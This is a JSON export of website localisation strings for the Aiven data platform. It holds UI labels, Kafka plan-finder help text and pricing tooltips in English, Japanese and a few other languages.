{"_createdAt":"2023-10-17T07:28:51Z","_id":"e6817421-c437-4418-84f1-5e7b2e7316ec","_rev":"YchETsjFZqXXcMnazKGz2A","_type":"field","_updatedAt":"2023-10-17T07:28:51Z","name":"watchWebinar","value":{"_type":"localeString","en":"Watch webinar"}} {"_createdAt":"2023-10-17T09:49:18Z","_id":"157a86e4-936d-4acc-b588-a41b89490757","_rev":"oVKLF5tNtw07ELMy9lXKV8","_type":"field","_updatedAt":"2023-10-17T09:49:18Z","name":"results","value":{"_type":"localeString","en":"results"}} {"_createdAt":"2023-01-05T08:53:05Z","_id":"882aeceb-115b-4ae6-b103-f0ee841c59bb","_rev":"E3l20vRSvwhCawbkeOPi20","_type":"field","_updatedAt":"2023-09-15T09:21:10Z","name":"webinar","value":{"_type":"localeString","en":"Webinar"}} {"_createdAt":"2023-11-07T13:24:46Z","_id":"9568a145-f418-4002-816e-3f37dd14840b","_rev":"gpV4rQ1RP6Oi5x5QrX38jv","_type":"field","_updatedAt":"2023-11-07T13:24:46Z","name":"relatedResources","value":{"_type":"localeString","en":"Related resources"}} {"_createdAt":"2023-12-07T13:16:43Z","_id":"33efa7f2-265e-4c77-90a5-a1ba2451eb5f","_rev":"A6877bpl8a6IECeaPo0E1i","_type":"field","_updatedAt":"2023-12-07T13:16:43Z","name":"titleWorkshops","value":{"_type":"localeString","en":"Explore our workshops"}} {"_createdAt":"2023-12-18T11:52:44Z","_id":"5e4daeb7-acff-4b1d-9843-e5f6ed78dc86","_rev":"7oPGYyiRG7hm5kP9hcAkbC","_type":"field","_updatedAt":"2023-12-18T11:53:01Z","name":"kafkaConnectSourceLine1","value":{"_type":"localeString","en":"Integrate existing","fr":"Intégrer les connecteurs","ja":"既存のものを統合する"}} {"_createdAt":"2023-12-18T11:53:16Z","_id":"e53319da-0a7b-466c-93c8-7bfca8b29f07","_rev":"7oPGYyiRG7hm5kP9hcAwV6","_type":"field","_updatedAt":"2023-12-18T11:56:02Z","name":"kafkaConnectSourceLine2","value":{"_type":"localeString","en":"source connectors","fr":"d'évier existants","ja":"シンクコネクタ"}} {"_createdAt":"2024-10-03T10:17:17Z","_id":"b689c57e-cc99-4280-a47b-c09d0078261a","_rev":"3SRg6Iy6hWKGXoyRSgOs3u","_type":"field","_updatedAt":"2024-10-03T10:17:17Z","name":"press","value":{"_type":"localeString","en":"Press"}} {"_createdAt":"2023-03-17T13:18:30Z","_id":"101eb8c6-78f0-46e5-b8f4-a93e946e0621","_rev":"tLcgKZL18qfyYELSygtNbZ","_type":"field","_updatedAt":"2023-10-25T07:29:15Z","name":"serviceTitle","value":{"_type":"localeString","en":"[THE COMPLETE AIVEN PLATFORM](/platform)","ja":"Aivenのトータルプラットフォーム"}} {"_createdAt":"2024-04-29T13:48:18Z","_id":"58572ef0-41fe-40ca-a5c0-3a575f2b1f22","_rev":"Ih2kuAPAt2qu3zuk15fhyZ","_type":"field","_updatedAt":"2024-04-29T13:48:51Z","name":"serve","value":{"_type":"localeString","en":"Serve","ja":"サーブ"}} {"_createdAt":"2024-05-24T12:28:49Z","_id":"1deacb57-5350-42fb-a996-d7a97e3fe952","_rev":"kvD2acrBmFSZeMYobhyj7p","_type":"field","_updatedAt":"2024-05-24T12:28:49Z","name":"podcast","value":{"_type":"localeString","en":"Podcast"}} {"_createdAt":"2024-05-24T12:32:30Z","_id":"68b5a2b5-bd28-41ff-94a1-40a0f7906824","_rev":"kvD2acrBmFSZeMYobhz2vA","_type":"field","_updatedAt":"2024-05-24T12:32:30Z","name":"watchPodcast","value":{"_type":"localeString","en":"Watch podcast"}} {"_createdAt":"2022-11-09T11:32:05Z","_id":"634a8065-dc2d-4249-bd2a-3df91599793c","_rev":"LoIDMXrOVwNddwV7RCLMan","_type":"field","_updatedAt":"2022-12-07T12:50:05Z","name":"flinkLine2","value":{"_type":"localeString","en":"stream processing","ja":"状態遷移型ストリーム処理"}} {"_createdAt":"2024-03-11T11:14:49Z","_id":"6896f243-6429-4272-8a26-6c9a28fc02ae","_rev":"2QvLnXP36WAnQ13A3sgcLI","_type":"field","_updatedAt":"2024-03-14T19:11:35Z","name":"titleCollections","value":{"_type":"localeString","en":"Latest collections"}} {"_createdAt":"2023-05-22T08:32:34Z","_id":"00ed009e-c79f-46e3-a044-21507ccfc146","_rev":"IpnbDuG6FYGmZQ2TBMierT","_type":"field","_updatedAt":"2023-05-22T08:33:16Z","name":"planPricing","value":{"_type":"localeString","en":"Plan pricing","ja":"プランの価格"}} {"_createdAt":"2022-12-02T15:18:29Z","_id":"04561c43-6487-469f-95d8-c73d96b20f73","_rev":"0rD6Phxg3duzic15oEKm4y","_type":"field","_updatedAt":"2022-12-02T15:18:29Z","name":"klawLine2","value":{"_type":"localeString","en":"Apache Kafka topic management","ja":"Apache Kafkaのトピック管理"}} {"_createdAt":"2023-05-22T09:19:16Z","_id":"117c149d-6137-45a7-a040-cd0c21b2f049","_rev":"IpnbDuG6FYGmZQ2TBNM2Pb","_type":"field","_updatedAt":"2023-05-22T11:19:52Z","name":"kpfUnitOfTimeDesc","value":{"_type":"localeString","en":"This is the period of time you expect to keep messages within your\nKafka cluster. This can range from hours to months and will vary \ndepending on your use case.","ja":"メッセージの保存期間です。Kafkaクラスタ内にメッセージを保持する期間です。\nこれは数時間から数ヶ月の範囲で、ユースケースによって異なります。\n使用用途によって異なります。"}} {"_createdAt":"2023-05-22T10:58:55Z","_id":"14059a03-4192-4b29-b120-dc5e9a968dd8","_rev":"4JMA3H9bBgAwAcyypUTHdf","_type":"field","_updatedAt":"2023-05-22T10:58:55Z","name":"required","value":{"_type":"localeString","en":"Required","ja":"必須"}} {"_createdAt":"2022-11-09T11:42:04Z","_id":"17e10d40-6546-474e-aee4-6e341c9eb7cf","_rev":"aJQte7Rd1SiavAM6QwmX2d","_type":"field","_updatedAt":"2022-12-19T12:55:39Z","name":"m3Line2","value":{"_type":"localeString","en":"aggregation","ja":"なアグリゲーション"}} {"_createdAt":"2022-11-09T11:36:05Z","_id":"1a596523-c69c-4aa1-934c-ec9b4eeafa5f","_rev":"0rD6Phxg3duzic15oFa8qA","_type":"field","_updatedAt":"2022-12-03T19:26:37Z","name":"kafkaConnectImport","value":{"_type":"localeString","en":"Stream data as event streams","ja":"イベントストリームとしてデータを流す"}} {"__i18n_lang":"en","_createdAt":"2022-06-21T22:42:56Z","_id":"1aed1a0f-26bf-4d73-818e-b2577df56ab2","_rev":"lf1jOsEAA7PAFZMZha5snI","_type":"field","_updatedAt":"2022-09-26T19:43:18Z","name":"footerSocialText","value":{"_type":"localeString","en":"Let's connect","ja":"Let's connect"}} {"__i18n_lang":"en","_createdAt":"2022-06-21T22:43:50Z","_id":"2174609d-6ae2-4afe-a250-2bbfb2aade19","_rev":"Gz4Wr0YcawlWH0s0v982qH","_type":"field","_updatedAt":"2023-09-05T12:43:36Z","name":"errorTitle","value":{"_type":"localeString","de":"Etwas ist nicht gut gelaufen","en":"We're currently experiencing some technical difficulties","es":"Algo no fue bien","fr":"Quelque chose ne s'est pas bien passé","ja":"何かがうまくいかなかった","ko":"뭔가 잘 안됐어","pt":"Algo não correu bem"}} {"_createdAt":"2022-08-16T09:40:37Z","_id":"24c2dd2b-e7ac-4fa8-8863-f9f6808a7f62","_rev":"AItYcVmwODXGfe9M0Ev4e6","_type":"field","_updatedAt":"2022-08-16T09:40:37Z","name":"contact","value":{"_type":"localeString","en":"Contact"}} {"_createdAt":"2023-05-22T09:21:46Z","_id":"2bd5e86c-6e3d-496d-81e0-4cf04be71f00","_rev":"Sutmd0597BicUlBXYJkb1i","_type":"field","_updatedAt":"2023-05-22T09:21:46Z","name":"kpfResultSubtitle","value":{"_type":"localeString","en":"Suggested plans are intended as a starting point; you can always upgrade or downgrade later.","ja":"ご提案プランは出発点としてお考えください。今後、アップグレードもしくはダウングレードすることが可能です。"}} {"_createdAt":"2023-05-22T09:20:07Z","_id":"648e2d11-f8fb-467b-8ba5-f1a219af9420","_rev":"4JMA3H9bBgAwAcyypUf1Ox","_type":"field","_updatedAt":"2023-05-22T11:46:50Z","name":"kpfReplicationFactorDesc","value":{"_type":"localeString","en":"The replication factor is the number of copies you need of the same\nmessage within your cluster. Kafka is distributed by design and a \nhigher replication factor helps your data to be protected in case one \nof your brokers fails.\n\nIt is recommended that the minimum value is n-1 where n is the number \nof brokers in your cluster. For example, a cluster of 3 would have a \nminimum replication factor of 2.\n\nThis value changes as the cluster grows in size (it is rare that you\nwill need a replication factor of 29 in a 30 node cluster). We recommend \na minimum of 3 and you can configure this within your cluster.","ja":"レプリケーションファクタは、クラスタ内で同じメッセージのコピーが\n必要な数を指します。Kafkaは設計上、分散型であり、レプリケーションファクタを\n高くすると、ブローカーの1つが故障した場合にデータを保護することができます。\n\n推奨される最小値は、クラスタ内のブローカーの数をnとした場合、n-1です。\n例えば、3つのクラスタでは最小の複製ファクターは2になります。\n\nこの値は、クラスタのサイズが大きくなるにつれて変化します(30ノードのクラスタで\n29のレプリケーションファクタが必要になることは稀です)。最低限の推奨値は3であり、\nこの設定はクラスタ内で構成することができます。"}} {"_createdAt":"2023-05-22T09:07:26Z","_id":"375875e8-e8df-4e56-bd5a-7c42a6745c68","_rev":"4JMA3H9bBgAwAcyypTyM3L","_type":"field","_updatedAt":"2023-05-22T09:07:26Z","name":"mbPerSec","value":{"_type":"localeString","en":"MB/sec","ja":"MB/秒"}} {"_createdAt":"2023-10-27T12:15:12Z","_id":"3ee4666d-051a-4272-97c4-fc06ecb24a7f","_rev":"1h5Wm5PSHuci3kB9Xs9FF8","_type":"field","_updatedAt":"2023-10-27T12:52:53Z","name":"otherResourcesNote","value":{"_type":"localeString","en":"Dive into our technical guides at [Developer Center](/developer) or get inspired by our [Customer Stories](/case-studies). \n\nStay updated with our monthly newsletters, bringing fresh content directly to your inbox."}} {"_createdAt":"2023-03-22T10:27:08Z","_id":"3f36737c-f507-4daf-9b7b-bd998f6db4c9","_rev":"1oHBwgBQDb4TFd5EY8hEbC","_type":"field","_updatedAt":"2023-03-22T10:27:08Z","name":"store","value":{"_type":"localeString","en":"Store","ja":"格納"}} {"_createdAt":"2023-03-29T14:35:05Z","_id":"432d2d81-cad8-4c07-b407-0fa6f71f27cb","_rev":"cjTuTLzi2o5xCqfj97nxFq","_type":"field","_updatedAt":"2023-03-29T14:35:05Z","name":"noSubCategory","value":{"_type":"localeString","en":"No sub-category"}} {"_createdAt":"2023-05-22T09:05:07Z","_id":"47d5beef-d73e-4f36-8524-9acf07f8a746","_rev":"IpnbDuG6FYGmZQ2TBMpZJz","_type":"field","_updatedAt":"2023-05-22T09:05:07Z","name":"or","value":{"_type":"localeString","en":"or","ja":"または"}} {"_createdAt":"2023-05-22T09:05:46Z","_id":"4846065d-434c-47fe-b561-809128360482","_rev":"Sutmd0597BicUlBXYKHNz2","_type":"field","_updatedAt":"2023-05-22T11:14:24Z","name":"kpfIncomingDataVolumeDesc","value":{"_type":"localeString","en":"Your expected incoming data volume is based on your number\nof messages per second times the average size of your messages.\nIf unsure how to estimate this value, we recommend discussing \nwith your engineering team.","ja":"予想される受信データ量は、1秒あたりのメッセージ数×メッセージの平均サイズに基づきます。\nこの値の推定方法が不明な場合は、エンジニアリングチームに相談することをお勧めします。"}} {"_createdAt":"2023-03-17T13:18:59Z","_id":"4cf295e4-3a05-4c23-91f0-a04d7f71f681","_rev":"4JMA3H9bBgAwAcyypZdjHL","_type":"field","_updatedAt":"2023-05-23T12:38:30Z","name":"kpfDisclaimer","value":{"_type":"localeString","en":"Need help? Use our [Kafka plan finder](/kafka-plan-finder) tool to get a recommended Kafka® plan based on your unique data needs and requirements.","ja":"お困りですか。[Kafkaプラン検索(Kafka plan finder)](/ja/kafka-plan-finder)ツールを使用して、お客様独自のデータニーズと要件に基づいた推奨Apache Kafka®プランを確認できます。"}} {"__i18n_lang":"en","_createdAt":"2022-06-21T22:43:05Z","_id":"4ec667f2-e8be-4908-8dd1-bd5cd01e9728","_rev":"oamrAPLmQLQjd9jh7bXKDe","_type":"field","_updatedAt":"2022-06-21T23:09:27Z","name":"rssSubscribeText","value":{"_type":"localeString","en":"Subscribe to RSS","es":"Suscribirse a RSS"}} {"_createdAt":"2022-12-02T15:17:55Z","_id":"4f71ad7a-cf0a-4743-962d-bff3eb6fc54d","_rev":"5iTZEBNHx5PwgJLwP9FB3D","_type":"field","_updatedAt":"2022-12-02T15:17:55Z","name":"klawLine1","value":{"_type":"localeString","en":"Data governance tool for","ja":"のためのデータガバナンスツール"}} {"_createdAt":"2023-09-27T09:20:36Z","_id":"52972b57-1fec-4014-ab33-5e5753ec03dc","_rev":"rpwBSMa1i11HwZnbWst0VF","_type":"field","_updatedAt":"2023-09-27T09:23:21Z","name":"subtitleForum","value":{"_type":"localeString","en":"Questions? Comments? Report a bug? Discuss in the forum!"}} {"_createdAt":"2022-09-05T09:25:59Z","_id":"52fa60cc-994f-4e34-824b-fb2ff694e6b1","_rev":"nB8tfE2oU2ws1pesUWNnRd","_type":"field","_updatedAt":"2022-09-05T09:26:59Z","name":"downloadPDF","value":{"_type":"localeString","en":"Download case study (PDF)"}} {"_createdAt":"2022-11-09T08:55:33Z","_id":"53a0c1da-5733-4041-be14-4d5d619d0ec3","_rev":"aJQte7Rd1SiavAM6QwWYID","_type":"field","_updatedAt":"2022-12-19T12:33:19Z","name":"metricsAivenLine2","value":{"_type":"localeString","en":"Aiven services","ja":"から得られる指標"}} {"_createdAt":"2022-09-05T09:25:49Z","_id":"54aa46f5-2a8c-4186-8eb5-1c8dbf15ec71","_rev":"igV4EyizbLQUdlfb4HQY6n","_type":"field","_updatedAt":"2022-09-05T09:27:06Z","name":"exploreMoreCasesLink","value":{"_type":"localeString","en":"browse all Aiven case studies"}} {"_createdAt":"2023-03-17T13:44:12Z","_id":"59737f8c-6b27-4a64-a338-31a4a1363e0e","_rev":"RksXZeZKLvjmDTh00zOZFv","_type":"field","_updatedAt":"2023-03-17T13:44:12Z","name":"comparePlans","value":{"_type":"localeString","en":"Compare plans","ja":"プランの比較"}} {"_createdAt":"2022-09-12T08:33:58Z","_id":"5a941f47-72e2-4796-aca8-3c9264a39e68","_rev":"CK1sLU2mnwa3vmbYWQgQrB","_type":"field","_updatedAt":"2022-09-12T08:33:58Z","name":"readCaseStudyLink","value":{"_type":"localeString","en":"Read the full case study"}} {"_createdAt":"2023-09-27T09:20:09Z","_id":"5aac3702-f3b8-4bd4-9099-ff0b651f9203","_rev":"rpwBSMa1i11HwZnbWssyyV","_type":"field","_updatedAt":"2023-09-27T09:20:09Z","name":"titleForum","value":{"_type":"localeString","en":"Get in on the conversation"}} {"_createdAt":"2023-05-12T09:17:14Z","_id":"5e57817c-cea8-4469-8a1a-f42c7e70aa70","_rev":"Sutmd0597BicUlBXYKekHQ","_type":"field","_updatedAt":"2023-05-22T12:33:11Z","name":"ctaAllPlans","value":{"_type":"localeString","en":"See all plans","ja":"すべてのプランを表示"}} {"_createdAt":"2023-04-21T08:32:45Z","_id":"7452268e-a7f2-444c-9a07-6abc2e15d909","_rev":"rm1pG3T7Eds3n9IIUDzXBc","_type":"field","_updatedAt":"2023-04-21T08:32:45Z","name":"ctaEventList","value":{"_type":"localeString","en":"View all events"}} {"_createdAt":"2023-03-29T14:32:45Z","_id":"77ddc34c-3c8c-4507-9a6a-a33194dc2b81","_rev":"M4dczs5irsEQMrhVZiM6Jj","_type":"field","_updatedAt":"2023-03-29T14:32:45Z","name":"mainHeroTitle","value":{"_type":"localeString","en":"Aiven Developer Center"}} {"_createdAt":"2023-01-05T08:53:35Z","_id":"7840a104-9ef9-439d-880f-97f38398460d","_rev":"DbggwV6E2LNVsJXxzrEAfZ","_type":"field","_updatedAt":"2023-01-09T10:41:28Z","name":"livestream","value":{"_type":"localeString","en":"Livestream"}} {"_createdAt":"2023-05-22T09:27:46Z","_id":"7c402443-fa7f-4b64-9b53-8e740ba43c22","_rev":"4JMA3H9bBgAwAcyypUsUvn","_type":"field","_updatedAt":"2023-05-22T12:35:21Z","name":"kpfResultDisclaimer","value":{"_type":"localeString","en":"*The estimated monthly pricing does not include the price for additional required storage. You can easily calculate cost including additional storage within Aiven console. Note: The est. monthly price can vary depending on the chosen cloud providers.","ja":"*月額の予定価格には、追加で必要なストレージの価格はまれていません。Aivenコンソールでは、追加ストレージを含めたコストを簡単に計算することができます。注:月額の予定価格は、選択したクラウドプロバイダーによって異なる場合があります。"}} {"_createdAt":"2023-03-17T13:39:26Z","_id":"7c436344-14ff-4c05-b586-28157483fa59","_rev":"1oHBwgBQDb4TFd5EYQAetK","_type":"field","_updatedAt":"2023-03-24T14:12:10Z","name":"planDisclaimer","value":{"_type":"localeString","en":"Pay as you go. [Contact us](/contact) for plan capacity beyond the listed plans.","ja":"従量課金制です。掲載されているプラン以外のキャパシティについては、[お問合せ](/ja/contact)ください。"}} {"_createdAt":"2022-09-29T09:03:07Z","_id":"7d658c1d-b9c5-47a8-b3cb-e0fde4451dfb","_rev":"tCTpYSXtZaN94JPflO0ijp","_type":"field","_updatedAt":"2022-11-11T15:10:14Z","name":"loadingPageTitle","value":{"_type":"localeString","en":"Loading page","ja":"ページ読み込み中"}} {"_createdAt":"2023-05-22T09:18:25Z","_id":"811d9748-aa4e-4ffb-8bfd-7f795c748c05","_rev":"IpnbDuG6FYGmZQ2TBNddUh","_type":"field","_updatedAt":"2023-05-22T12:30:44Z","name":"kpfRetentionDesc","value":{"_type":"localeString","en":"Your expected incoming data volume is based on your number\nof messages per second times the average size of your messages.\nIf unsure how to estimate this value, we recommend discussing \nwith your engineering team.","ja":"予想される受信データ量は、1秒あたりのメッセージ数×メッセージの平均サイズに基づきます。\nこの値の推定方法が不明な場合は、エンジニアリングチームに相談することをお勧めします。"}} {"_createdAt":"2022-08-16T09:39:53Z","_id":"81d8c2ff-9bf9-4a84-b6b9-635670c70148","_rev":"AItYcVmwODXGfe9M0EuxMU","_type":"field","_updatedAt":"2022-08-16T09:39:53Z","name":"loadMore","value":{"_type":"localeString","en":"Load more"}} {"_createdAt":"2022-10-03T07:01:19Z","_id":"837a508d-5286-40d3-8603-73350471d481","_rev":"vDQRRYe9nRreptIRp9fv7k","_type":"field","_updatedAt":"2022-10-03T07:01:19Z","name":"relatedBlogs","value":{"_type":"localeString","en":"Related blogs"}} {"_createdAt":"2022-08-16T09:40:28Z","_id":"838fc622-11b6-40f4-96dc-9fdd3918d312","_rev":"AItYcVmwODXGfe9M0Ev3Bm","_type":"field","_updatedAt":"2022-08-16T09:40:28Z","name":"aivenInTheNews","value":{"_type":"localeString","en":"Aiven in the news"}} {"_createdAt":"2023-05-12T11:57:16Z","_id":"87e1460d-8ca7-4be5-bf0c-cbfac2091665","_rev":"Sutmd0597BicUlBXYK6ifg","_type":"field","_updatedAt":"2023-05-22T10:35:21Z","name":"customPlanContactDisclaimer","value":{"_type":"localeString","en":"There are no standard plans for your specified data needs. Please [contact sales](/contact?department=1306714) so we can help you find a plan beyond the listed options.","ja":"お客様の指定されたデータのニーズに対する標準プランはありません。記載されている以外のプランもご提案できますので、お問合せ](/ja/contact?department=1306714)ください。"}} {"_createdAt":"2023-03-22T10:26:17Z","_id":"9f0e510f-f33d-4ea9-8c1e-7f63dcb4dba2","_rev":"1oHBwgBQDb4TFd5EY8h50T","_type":"field","_updatedAt":"2023-03-22T10:26:17Z","name":"stream","value":{"_type":"localeString","en":"Stream","ja":"ストリーム"}} {"_createdAt":"2023-10-30T14:55:30Z","_id":"8cd1db4f-09d5-4304-ac9d-17a45e245443","_rev":"NgTOJkLjRz9tfm3Yda62K2","_type":"field","_updatedAt":"2023-10-30T14:55:30Z","name":"share","value":{"_type":"localeString","en":"Share"}} {"_createdAt":"2022-11-09T11:40:05Z","_id":"9188cb27-846e-454b-801e-d120e7407c0d","_rev":"3re4XGUaXqpLG8nUTs4fKo","_type":"field","_updatedAt":"2022-12-19T15:34:15Z","name":"integratedAivenServices","value":{"_type":"localeString","en":"Integrated Aiven services","ja":"Aivenの統合サービス"}} {"_createdAt":"2022-11-09T11:40:37Z","_id":"93c9b281-6b01-49ff-9cba-70aafbd87311","_rev":"K0rtrsNuqDEgCtVQHVR9I6","_type":"field","_updatedAt":"2022-12-19T15:50:14Z","name":"extensions","value":{"_type":"localeString","en":"Extensions","ja":"拡張機能"}} {"_createdAt":"2022-11-09T11:31:29Z","_id":"99d1b4ce-628a-4120-847d-6afe53eb9516","_rev":"ElrRHx5al3kb1PwLXRmH7d","_type":"field","_updatedAt":"2022-12-03T19:29:47Z","name":"schemaRegistry","value":{"_type":"localeString","en":"Schema Registry","ja":"スキーマ レジストリ"}} {"_createdAt":"2023-03-29T14:29:52Z","_id":"9cdb4b79-b405-4182-bdaf-88c5a8dbf7a7","_rev":"iIDWKhYkmLI2REfIiL6p2e","_type":"field","_updatedAt":"2023-03-29T14:29:52Z","name":"titleTech","value":{"_type":"localeString","en":"Explore by technology"}} {"_createdAt":"2022-12-27T09:25:17Z","_id":"a773c41e-80df-46c2-820a-1b07d4981996","_rev":"cmQvgZcsUwgFEQbM1OHhqB","_type":"field","_updatedAt":"2022-12-28T10:30:07Z","name":"nowRunning","value":{"_type":"localeString","en":"Now running","ja":"現在実行中"}} {"_createdAt":"2023-10-17T07:28:04Z","_id":"a805fc64-97e5-4ebb-be4b-f38acc3d120a","_rev":"oVKLF5tNtw07ELMy9lTFze","_type":"field","_updatedAt":"2023-10-17T07:28:14Z","name":"downloadWhitepaper","value":{"_type":"localeString","en":"Download white paper"}} {"_createdAt":"2023-03-17T13:43:16Z","_id":"aa7183da-0431-4baf-a7fe-d3d108e17b61","_rev":"1oHBwgBQDb4TFd5EYOYNXi","_type":"field","_updatedAt":"2023-03-24T08:54:44Z","name":"startingFrom","value":{"_type":"localeString","en":"starting from","ja":"最低利用価格"}} {"_createdAt":"2023-05-11T13:40:42Z","_id":"bc36b98b-e77c-4507-bd4a-a36eeae7e19a","_rev":"CehdQyS8z5lmiPrCVCVHiC","_type":"field","_updatedAt":"2023-05-11T13:40:42Z","name":"extraStorageTooltip","value":{"_type":"localeString","en":"Within Aiven console, you can book additional storage by yourself without switching plans."}} {"_createdAt":"2022-09-29T12:43:21Z","_id":"bc553811-ad25-41f3-8388-9aff40a2dcc3","_rev":"vDQRRYe9nRreptIRp2rJ0m","_type":"field","_updatedAt":"2022-09-29T12:43:21Z","name":"getAccess","value":{"_type":"localeString","en":"Get access"}} {"_createdAt":"2022-12-02T15:27:30Z","_id":"bc6a4539-2d62-4b89-9c2f-91069f914fe2","_rev":"BgX4ZkoG52SPdBmuThBqvd","_type":"field","_updatedAt":"2022-12-03T19:04:02Z","name":"kafkaCoreLine2","value":{"_type":"localeString","en":"framework","ja":"フレームワーク"}} {"_createdAt":"2022-09-05T09:20:05Z","_id":"b09f2c03-f1d2-46d3-bbfa-5f522770b4c2","_rev":"E0WcOAmhawew35VucCVszw","_type":"field","_updatedAt":"2023-01-10T05:23:22Z","name":"readCaseStudy","value":{"_type":"localeString","en":"Read case study","ja":"ケーススタディを読む(英語)"}} {"_createdAt":"2022-09-12T15:06:23Z","_id":"b6e4ce74-f95a-4c34-bff9-0f900215b6df","_rev":"XMqVxILwpPMz4xYxcCJ5CQ","_type":"field","_updatedAt":"2022-10-03T06:36:41Z","name":"getDirection","value":{"_type":"localeString","en":"Get direction","ja":"地図を見る"}} {"_createdAt":"2022-10-21T08:57:59Z","_id":"badddfa3-83cb-4479-8d4e-f8bedf42dbca","_rev":"ITaY4hq23Yly5lipEsGp7W","_type":"field","_updatedAt":"2022-10-21T08:57:59Z","name":"show","value":{"_type":"localeString","en":"Show"}} {"_createdAt":"2022-09-05T09:26:15Z","_id":"bb293188-0014-402e-a3e1-7419d36c1a66","_rev":"2a0x8ZFmDOgprY7cLzADpW","_type":"field","_updatedAt":"2022-09-05T09:26:15Z","name":"allCaseStudies","value":{"_type":"localeString","en":"All case studies"}} {"_createdAt":"2022-11-09T08:50:59Z","_id":"c33dec84-f0ab-4761-8995-93c460339d9c","_rev":"yEepckykK41PbFrRNlpsPq","_type":"field","_updatedAt":"2022-11-11T16:30:51Z","name":"logs","value":{"_type":"localeString","en":"Logs","ja":"ログ"}} {"_createdAt":"2023-03-29T14:30:35Z","_id":"c712d892-2d0a-454e-b01c-4a42eaaecbee","_rev":"M4dczs5irsEQMrhVZiLxpN","_type":"field","_updatedAt":"2023-03-29T14:30:35Z","name":"titleUseCase","value":{"_type":"localeString","en":"Explore by use case"}} {"_createdAt":"2023-05-12T11:54:12Z","_id":"c8a61280-7351-44a5-8f98-0b21517f3b9c","_rev":"Sutmd0597BicUlBXYK6Whc","_type":"field","_updatedAt":"2023-05-22T10:34:13Z","name":"customPlanDisclaimer","value":{"_type":"localeString","en":"Annual commitments are eligible for a discount. Custom plans available, [contact sales](/contact?department=1306714).","ja":"年間契約は割引の対象となります。カスタムプランもございますので、[お問合せ](/ja/contact?department=1306714)ください。"}} {"_createdAt":"2022-09-05T09:20:21Z","_id":"c973db9a-8471-4412-bf14-71588ce02689","_rev":"2a0x8ZFmDOgprY7cLz9Hb0","_type":"field","_updatedAt":"2022-09-05T09:20:21Z","name":"close","value":{"_type":"localeString","en":"Close"}} {"_createdAt":"2023-05-22T08:34:31Z","_id":"cba57f40-f139-4b4d-b298-34354f19934c","_rev":"Sutmd0597BicUlBXYJYqtA","_type":"field","_updatedAt":"2023-05-22T08:34:31Z","name":"kpfCalcTitleStep1","value":{"_type":"localeString","en":"Data volume","ja":"データ量"}} {"_createdAt":"2023-09-20T14:07:01Z","_id":"cd496fe2-63ec-4afd-ab00-affde22d5520","_rev":"kaQ4ZWos4gq6sBfd7vChfD","_type":"field","_updatedAt":"2023-09-22T15:55:57Z","name":"staticIpTooltip","value":{"_type":"localeString","en":"${price}/hour per IP. E.g., 3 VM requires 6 IPs","ja":"IPアドレス1つあたりの1時間の料金は${price}ドルです。例えば、3つのVMサービスプランには6つのIPアドレスが必要です。"}} {"_createdAt":"2023-03-17T13:43:53Z","_id":"cdb511b6-4849-486d-9d17-8be402c17f86","_rev":"RksXZeZKLvjmDTh00zOT8x","_type":"field","_updatedAt":"2023-03-17T13:43:53Z","name":"hour","value":{"_type":"localeString","en":"hour","ja":"時間"}} {"_createdAt":"2023-10-17T07:18:46Z","_id":"ce950244-708d-4dee-860f-fd8f45cf3fab","_rev":"YchETsjFZqXXcMnazKGfug","_type":"field","_updatedAt":"2023-10-17T07:18:46Z","name":"watchWorkshop","value":{"_type":"localeString","en":"Explore workshop"}} {"_createdAt":"2023-03-24T10:41:52Z","_id":"d0d6156e-6212-4efb-a564-b3f4d116ceca","_rev":"kaQ4ZWos4gq6sBfd7vCRmr","_type":"field","_updatedAt":"2023-09-22T15:52:40Z","name":"privateLinkTooltip","value":{"_type":"localeString","en":"${price}/GB based on the consumed traffic","ja":"消費トラフィックに基づいて算出(${price}/GB)"}} {"_createdAt":"2022-11-09T11:35:48Z","_id":"d1213092-8389-4306-8c9a-66fe8c36156f","_rev":"ElrRHx5al3kb1PwLXRlmWd","_type":"field","_updatedAt":"2022-12-03T19:26:26Z","name":"kafkaConnectExport","value":{"_type":"localeString","en":"Export data as event streams","ja":"イベントストリームとしてデータをエクスポート"}} {"__i18n_lang":"en","_createdAt":"2022-06-21T22:43:09Z","_id":"d5419ca5-096d-4b83-b591-916eca3cf7b3","_rev":"ElrRHx5al3kb1PwLXRI4Z8","_type":"field","_updatedAt":"2022-12-03T17:54:40Z","name":"readMore","value":{"_type":"localeString","en":"Read more","es":"Lee mas","ja":"詳しく見る"}} {"_createdAt":"2023-03-29T14:29:14Z","_id":"d5c6b705-8c07-425c-a6d1-51df8df369fe","_rev":"M4dczs5irsEQMrhVZiLtNY","_type":"field","_updatedAt":"2023-03-29T14:29:14Z","name":"ctaViewAll","value":{"_type":"localeString","en":"View all articles"}} {"_createdAt":"2023-10-26T08:10:53Z","_id":"d7a51b70-3f5e-4206-8978-7e863bcf55e7","_rev":"dWOXoeBNhMRLotF8JYyNiR","_type":"field","_updatedAt":"2023-10-26T08:10:53Z","name":"EngineerBannerDescription","value":{"_type":"localeString","en":"We invite you to explore and experience the [product](/platform) you'll shape. Enjoy a 30-days trial with $300 credits included, along with the availability of free plan. Explore the features and become our advocate in the developer community."}} {"_createdAt":"2022-09-05T09:25:39Z","_id":"db4649a4-e274-4608-8a90-4aa3af60b489","_rev":"nB8tfE2oU2ws1pesUWNqFC","_type":"field","_updatedAt":"2022-09-05T09:27:21Z","name":"exploreMoreCases","value":{"_type":"localeString","en":"Explore more customer success stories relevant to this one or"}} {"_createdAt":"2023-04-06T14:52:00Z","_id":"dcea7c18-82dc-45ef-b5d6-0c7eb3eb9666","_rev":"TGMOqzg55cVsXDO0aQ3SxX","_type":"field","_updatedAt":"2024-10-02T13:27:52Z","name":"byoaDesc","value":{"_type":"localeString","en":"Run Aiven services in your own cloud account to achieve lower TCO. Our self-service [BYOC](https://aiven.io/byoc) automation simplifies deployment. [Contact us](/contact) for more information. BYOC is available during general availability.","ja":"お客様のクラウドアカウントでAivenのサービスを実行することができます。詳しくは[お問合せ](/ja/contact)ください。\n\n詳細は、[BYOCドキュメント](https://aiven.io/docs/platform/concepts/byoc)(英語)をご覧いただき、お客様のニーズに合わせた形で、[Aivenのプラットフォーム](/ja/platform)を導入してください。"}} {"_createdAt":"2022-09-29T09:02:48Z","_id":"e65beff2-c099-4538-8b3a-47b97a2b0b48","_rev":"yEepckykK41PbFrRNlQQlm","_type":"field","_updatedAt":"2022-11-11T15:10:34Z","name":"loadingPageMessage","value":{"_type":"localeString","en":"This will only take a moment","ja":"これは一瞬のことです"}} 